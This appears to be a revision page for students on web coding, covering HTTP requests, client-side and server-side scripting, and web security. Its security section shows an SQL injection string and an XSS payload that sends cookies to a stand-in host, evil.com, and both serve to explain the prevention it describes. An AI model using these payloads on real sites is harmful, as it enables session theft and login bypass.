Skip to content

D4 · Coding for the Web

Spec reference: Section D - Programming Languages
Key idea: Understand how web applications work - client/server model, client-side vs server-side scripting, and web security.


The request-response model

Every time you visit a website, your browser and a web server exchange messages using the request-response model:

[Browser / Client]                    [Web Server]
       │                                    │
       │ ── HTTP Request (GET /index.html) ──▶│
       │                                    │
       │ ◀── HTTP Response (200 OK + HTML) ──│
       │                                    │
       │ Renders HTML/CSS/JS                │

Steps:

  1. User types a URL or clicks a link.
  2. Browser sends an HTTP request to the server.
  3. Server processes the request.
  4. Server sends an HTTP response - usually HTML, CSS, and JavaScript.
  5. Browser renders the page.

HTTP methods

MethodUsed for
GETRetrieve a resource (view a page, load an image)
POSTSend data to the server (submit a form, log in)
PUTUpdate an existing resource
DELETERemove a resource

HTTP status codes

CodeMeaning
200OK - request succeeded
301Moved permanently - redirected
404Not found - resource doesn't exist
500Internal server error - server-side problem

Client-side processing and scripting

Client-side code runs in the user's browser, not on the server.

AspectDetail
LanguageHTML, CSS, JavaScript
Runs onThe user's device (browser)
Access toDOM (page structure), browser APIs, local storage
Cannot accessServer databases, private server-side data

Uses of client-side scripting

  • Form validation - checking fields before submitting (saves a server round-trip).
  • Dynamic content - updating the page without reloading (e.g. showing/hiding a menu).
  • Animations and visual effects - CSS transitions, JS canvas.
  • Fetching data asynchronously - AJAX / Fetch API to load data without reloading the page.
javascript
// JavaScript  -  client-side validation
function validateForm() {
    const name = document.getElementById("name").value;
    if (name === "") {
        alert("Name cannot be empty!");
        return false;   // stop form submission
    }
    return true;
}

Implications of client-side scripting

AdvantageDisadvantage
Fast - no server round-trip neededCode is visible to the user (security risk)
Reduces server loadRelies on the user's browser supporting JavaScript
Responsive user experienceCannot securely access databases

Server-side processing and scripting

Server-side code runs on the web server, hidden from the user.

AspectDetail
LanguagesPython (Django/Flask), PHP, Node.js, Ruby, Java
Runs onThe web server
Access toDatabases, file system, APIs, private business logic
User seesOnly the resulting HTML output - not the source code

Uses of server-side scripting

  • Database queries - retrieving and storing user data.
  • Authentication - verifying usernames and passwords securely.
  • Generating dynamic pages - personalised content for each user.
  • Processing payments - securely handling financial transactions.
python
# Python Flask  -  server-side route (simplified)
@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    user = db.query("SELECT * FROM users WHERE username=?", username)
    if user and check_password(password, user.password_hash):
        session['user'] = username
        return redirect('/dashboard')
    return "Invalid credentials", 401

Implications of server-side scripting

AdvantageDisadvantage
Code is hidden - more secureEvery request needs a server round-trip (slower)
Can access databases and sensitive dataHigher server load
Consistent - same result regardless of browserMore complex to deploy and maintain

Client-side vs server-side comparison

Client-sideServer-side
Runs onBrowserWeb server
LanguagesHTML, CSS, JavaScriptPython, PHP, Node.js, etc.
Can access database?NoYes
Code visible to user?YesNo
Reduces server load?YesNo
Best forUI interaction, validation, effectsAuth, database, business logic

Web security

Web applications face several threats:

SQL Injection

Attackers insert malicious SQL code into form inputs:

sql
-- Vulnerable query (never do this):
SELECT * FROM users WHERE username='alice' AND password='x OR 1=1'
-- The 1=1 always evaluates true → bypasses login!

-- Safe: use parameterised queries
SELECT * FROM users WHERE username=? AND password=?

Cross-Site Scripting (XSS)

Attackers inject malicious JavaScript into a website that then runs in other users' browsers:

html
<!-- If user input is not sanitised, an attacker might submit: -->
<script>document.location='http://evil.com/steal?c='+document.cookie</script>

Prevention: Sanitise/escape all user input before displaying it.

HTTPS and SSL/TLS

  • HTTP sends data in plaintext - anyone can intercept it.
  • HTTPS encrypts the connection using SSL/TLS - data is unreadable to attackers.
  • All websites handling login or payment data must use HTTPS.

Issues and implications of web coding

IssueDetail
AccessibilityMust work for users with disabilities - screen readers, keyboard navigation, sufficient colour contrast
Cross-browser compatibilityCode must work on Chrome, Firefox, Safari, Edge, etc.
Responsive designMust work on mobile, tablet and desktop (different screen sizes)
PerformanceLarge JavaScript files slow page loads - minify and optimise
Privacy (GDPR)Must handle user data lawfully - consent, data minimisation, right to erasure

Test Yourself

Question 1 of 5

In the request-response model, which HTTP method is typically used when a user submits a login form?

Ad

PassMaven - revision made simple.